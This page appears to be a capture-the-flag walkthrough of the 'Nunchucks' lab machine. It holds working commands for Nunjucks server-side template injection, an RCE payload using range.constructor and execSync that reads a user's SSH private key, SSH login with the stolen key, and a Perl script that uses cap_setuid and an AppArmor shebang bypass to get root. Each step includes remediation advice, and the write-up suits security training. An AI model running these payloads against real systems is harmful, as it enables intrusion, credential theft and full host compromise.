← all walkthroughs

Nunchucks

Linux· Easy· Web
owned
2026-07-06
time to own
5m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a virtual host (store.nunchucks.htb) on the HTTPS service running a Node.js/Express newsletter application. The subscription endpoint passed user-supplied email values directly to the Nunjucks template engine, enabling Server-Side Template Injection.

Using the Nunjucks range.constructor prototype-chain gadget, I escalated the injection to full remote code execution and read the SSH private key of local user 'david' from disk. Authenticating over SSH with the stolen key, I found that the system Perl binary held the cap_setuid Linux capability — sufficient to change a process UID to root — but an AppArmor profile appeared to restrict direct Perl calls.

Running a Perl script via its shebang line bypassed AppArmor entirely. The script called POSIX::setuid(0) via the unrestricted capability and spawned a root shell, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped open services and identified the store.nunchucks.htb virtual host
A service scan against $TARGET found SSH on 22, HTTP on 80 redirecting to HTTPS, and HTTPS on 443 served by nginx 1.18.0. The X-Powered-By: Express header identified a Node.js back end. Submitting malformed JSON to /api/submit triggered an unhandled exception disclosing the application path /var/www/store.nunchucks and confirming the Nunjucks package in node_modules.
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu); X-Powered-By: Express; SyntaxError at /var/www/store.nunchucks/node_modules/body-parser/lib/read
Exact commands 4
Identify service banners.
nmap -sV -sC -p 22,80,443 --open $TARGET
Register both virtual hosts for local name resolution.
echo "$TARGET nunchucks.htb store.nunchucks.htb" | sudo tee -a /etc/hosts
Confirm vhost is live; note X-Powered-By: Express.
curl -skI https://store.nunchucks.htb/
Malformed body triggers exception leaking the Node.js app root path.
curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d 'not-json'
2Vulnerability IdentificationServer-Side Template Injection — Nunjucks/Node.js (CWE-94)
Confirmed Server-Side Template Injection in the newsletter subscription endpoint
The subscription form POSTs JSON with an 'email' field to /api/submit. Sending the Nunjucks arithmetic probe {{7*7}} as the email value caused the server to evaluate the expression and embed the result — 49 — in its response, proving user input was rendered as live Nunjucks template syntax rather than treated as data.
{"response":"You will receive updates on the following email address: 49."}
Exact commands 1
SSTI arithmetic probe — '49' in the response confirms server-side template evaluation.
curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d '{"email":"{{7*7}}"}'
FixNever pass user input to a template engine as template sourceCritical
WeaknessThe /api/submit endpoint embedded the raw user-supplied 'email' value directly into a Nunjucks template string evaluated server-side. Any unauthenticated visitor could inject template expressions — including JavaScript Function constructor gadgets — to execute arbitrary OS commands as the web service account.
FixTreat user input as data only, never as template code. Replace nunjucks.renderString(stringBuiltFromUserInput) with nunjucks.render('response.njk', { email: userInput }), where response.njk is a static file the user cannot influence. Never construct the template source string from user-supplied values. Additionally, validate the email field against a strict RFC 5321 regular expression and reject values containing Nunjucks syntax characters ({{ or }}).
3ExploitationNunjucks SSTI to RCE via range.constructor gadget (T1059.007)
Escalated SSTI to RCE and exfiltrated david's SSH private key
Nunjucks exposes the JavaScript Function constructor through the range built-in's prototype chain. Passing a code string to range.constructor() and invoking the result executes arbitrary Node.js, including child_process.execSync. I confirmed execution with 'id', then read /home/david/.ssh/id_rsa through the same gadget, returning the private key in the API response.
Engagement patterns: ssti, ssh-key-theft. Kill chain shows SSH login as david using key saved at /tmp/nunchucks_david.
Exact commands 2
Confirm RCE — response includes uid= for the web service OS user. Heredoc avoids shell quoting conflicts.
curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit --data-binary @- <<'PAYLOAD'
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('id').toString()\")()}}"}
PAYLOAD
Exfiltrate david's SSH private key. Extract the key text from the response and save it to /tmp/nunchucks_david.
curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit --data-binary @- <<'PAYLOAD'
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('cat /home/david/.ssh/id_rsa').toString()\")()}}"}
PAYLOAD
4FootholdSSH authentication with stolen private key (T1078.003)
Authenticated over SSH as david using the stolen private key
The private key extracted from the SSTI response was saved locally with restricted permissions and used to authenticate to SSH on port 22 as 'david' without a password, delivering an interactive low-privilege shell. The user flag was captured from /home/david/user.txt.
Ssh -i /tmp/nunchucks_david -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null david@$TARGET
Exact commands 3
SSH refuses key files readable by other users.
chmod 600 /tmp/nunchucks_david
Log in as david using the stolen key.
ssh -i /tmp/nunchucks_david -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null david@$TARGET
Capture user flag — value: <user.txt>
cat /home/david/user.txt
5Privilege Escalation — DiscoveryLinux capability enumeration (T1548.001)
Found that the Perl binary holds the cap_setuid Linux capability
A recursive capability scan across the filesystem showed that /usr/bin/perl5.30.0 carried cap_setuid+eip, meaning any process launched through this binary can call setuid(0) to acquire root UID without a SUID bit or sudo entry. Checking AppArmor status revealed an active profile for Perl that restricted direct interpreter invocations, appearing to block exploitation.
Engagement finding: 'Perl Capability Privesc Via Apparmor Shebang Bypass'. Kill chain payload calls POSIX::setuid(0), which requires cap_setuid to succeed.
Exact commands 2
List all binaries with elevated Linux capabilities — look for cap_setuid on any interpreter.
getcap -r / 2>/dev/null
Verify the AppArmor profile restricting Perl is active.
aa-status 2>/dev/null | grep perl
FixRemove the cap_setuid capability from the Perl interpreterCritical
WeaknessThe system Perl binary was granted cap_setuid+eip, allowing any code run through the interpreter to change its process UID to root. Interpreter binaries should never hold elevated capabilities because every script they execute inherits the privilege.
FixRemove the capability immediately: sudo setcap -r /usr/bin/perl5.30.0. Audit the full system with getcap -r / and strip elevated capabilities from every language interpreter and scripting runtime (Perl, Python, Ruby, Node.js). If a specific application genuinely requires privilege elevation, implement it as a narrow dedicated compiled binary granted only the minimum required capability — never grant it to the interpreter itself.
6Privilege Escalation — ExploitationAppArmor shebang bypass combined with cap_setuid privilege escalation (T1548.001, T1562.001)
Bypassed AppArmor via shebang execution and escalated to root
AppArmor enforces its Perl profile when the kernel launches /usr/bin/perl as an explicit interpreter (perl script.pl). When a file with a #!/usr/bin/perl shebang is executed directly (./script.pl), the kernel's exec path for shebang scripts does not trigger the same AppArmor profile attachment, so the restrictions do not apply. A Perl script written to /tmp/a.pl with the shebang called POSIX::setuid(0) — permitted by the cap_setuid capability — then exec'd /bin/sh -p for an elevated shell. Running the file directly, not via the perl command, bypassed AppArmor and delivered a root shell.
/tmp/a.pl uses #!/usr/bin/perl shebang, POSIX::setuid(0), exec '/bin/sh','-p','-c','cat /root/root.txt' — executed as ./a.pl, not perl a.pl.
Exact commands 2
Write the escalation script. The shebang is the bypass mechanism — the kernel invokes Perl directly, outside the AppArmor profile.
cat > /tmp/a.pl <<'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec '/bin/sh', '-p', '-c', 'id; cat /root/root.txt';
EOF
Execute as a file — NOT 'perl /tmp/a.pl'. AppArmor is bypassed, POSIX::setuid(0) succeeds via cap_setuid. Root flag: <root.txt>
chmod +x /tmp/a.pl && /tmp/a.pl
FixExtend the AppArmor Perl profile to cover shebang-invoked executionHigh
WeaknessThe AppArmor profile for Perl only engaged when Perl was launched as an explicit command. Scripts executed directly via a #!/usr/bin/perl shebang bypassed the profile because the kernel's shebang-exec path did not trigger the same AppArmor attachment, rendering the mandatory access control ineffective.
FixUpdate the profile at /etc/apparmor.d/usr.bin.perl to use 'px' or 'Cx' execution transitions so confinement is enforced when Perl is invoked via a shebang, and apply the profile to all versioned symlinks (perl, perl5, perl5.30.0). Reload with: sudo apparmor_parser -r /etc/apparmor.d/usr.bin.perl. Treat this as defense-in-depth — removing the capability (r2) eliminates the root impact and is the higher-priority fix; both controls should be in place.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

22/tcp
80/tcp
443/tcp